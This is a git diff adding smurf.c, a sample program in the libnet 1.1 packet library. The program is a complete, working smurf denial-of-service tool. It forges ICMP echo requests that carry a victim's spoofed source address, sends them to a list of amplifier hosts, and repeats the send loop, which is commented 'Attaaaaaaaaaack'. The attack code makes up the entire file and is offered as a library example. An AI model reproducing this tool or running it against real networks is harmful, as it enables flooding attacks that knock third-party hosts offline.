diff options
Diffstat (limited to 'libnet/sample/smurf.c')
| -rw-r--r-- | libnet/sample/smurf.c | 194 |
1 files changed, 194 insertions, 0 deletions
diff --git a/libnet/sample/smurf.c b/libnet/sample/smurf.c new file mode 100644 index 0000000..ccaebdc --- /dev/null +++ b/libnet/sample/smurf.c @@ -0,0 +1,194 @@ +/* + * $Id: smurf.c,v 1.2 2004/01/03 20:31:01 mike Exp $ + * + * libnet 1.1 + * Build Smurf packets + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#include "./libnet_test.h" + +void usage(char *); + + +int +main(int argc, char **argv) +{ + libnet_t *l = NULL; + u_long target_ip = 0, ampli_ip = 0; + u_long count = 10; + int i, c; + libnet_ptag_t t; + + char *device = NULL; + char *pTarget = NULL; + char errbuf[LIBNET_ERRBUF_SIZE]; + char label[LIBNET_LABEL_SIZE]; + + printf("libnet 1.1 smurf DoS: ICMP[RAW using context queue]\n"); + + while((c = getopt(argc, argv, "t:i:c:")) != EOF) + { + switch (c) + { + case 't': + pTarget = optarg; + break; + case 'i': + device = optarg; + break; + case 'c': + count = strtoul(optarg, 0, 10); + break; + } + } + + if (optind == argc) { + fprintf(stderr, "No amplifier given.\n"); + usage(argv[0]); + exit (EXIT_FAILURE); + } + + if (!pTarget) { + fprintf(stdout, "No target given.\n"); + usage(argv[0]); + exit (EXIT_FAILURE); + } + + if ((target_ip = libnet_name2addr4(l, pTarget, LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad target IP address: %s\n", pTarget); + exit(EXIT_FAILURE); + } + + /* Create a context for each amplifier */ + for (i = 0; optind < argc; optind++) { + + printf ("Adding amplifier %s\n", argv[optind]); + + l = libnet_init( + LIBNET_RAW4, /* injection type */ + device, /* network interface */ + errbuf); /* errbuf */ + + if (l == NULL) + { + fprintf(stderr, "libnet_init() failed: %s", errbuf); + exit(EXIT_FAILURE); + } + + if ((ampli_ip = libnet_name2addr4(l, argv[optind], LIBNET_RESOLVE)) == -1) + { + fprintf(stderr, "Bad destination IP address: %s\n", argv[optind]); + exit(1); + } + + /* build the packet */ + t = libnet_build_icmpv4_echo( + ICMP_ECHO, /* type */ + 0, /* code */ + 0, /* checksum */ + 0x42, /* id */ + 0x42, /* sequence number */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); + goto bad; + } + + t = libnet_build_ipv4( + LIBNET_IPV4_H + LIBNET_ICMPV4_TS_H, /* length */ + 0, /* TOS */ + 0x42, /* IP ID */ + 0, /* IP Frag */ + 64, /* TTL */ + IPPROTO_ICMP, /* protocol */ + 0, /* checksum */ + target_ip, /* source IP */ + ampli_ip, /* destination IP */ + NULL, /* payload */ + 0, /* payload size */ + l, /* libnet handle */ + 0); + if (t == -1) + { + fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); + goto bad; + } + + /* and finally, put it in the arena */ + snprintf(label, sizeof(label)-1, "echo%d", i); + if (libnet_cq_add(l, label) == -1) + { + fprintf(stderr, "add error: %s\n", libnet_geterror(l)); + goto bad; + } + } /* for (optind < argc) */ + + + /* Attaaaaaaaaaack */ + for_each_context_in_cq(l) { + /* + * Write it to the wire. + */ + for (i = 0; i<count; i++) { + c = libnet_write(l); + if (c == -1) + { + fprintf(stderr, "Write error (pkt #%d): %s\n", i, libnet_geterror(l)); + goto bad; + } + else + { + fprintf(stderr, "Wrote %d byte ICMP packet; check the wire.\n", c); + } + } + } + + + libnet_cq_destroy(); + return (EXIT_SUCCESS); +bad: + libnet_cq_destroy(); + libnet_destroy(l); + return (EXIT_FAILURE); +} + +void +usage(char *name) +{ + fprintf(stderr, "usage: %s -t targe_ip [-i iface] [-c count=10] amplifiers\n ", name); +} + +/* EOF */ |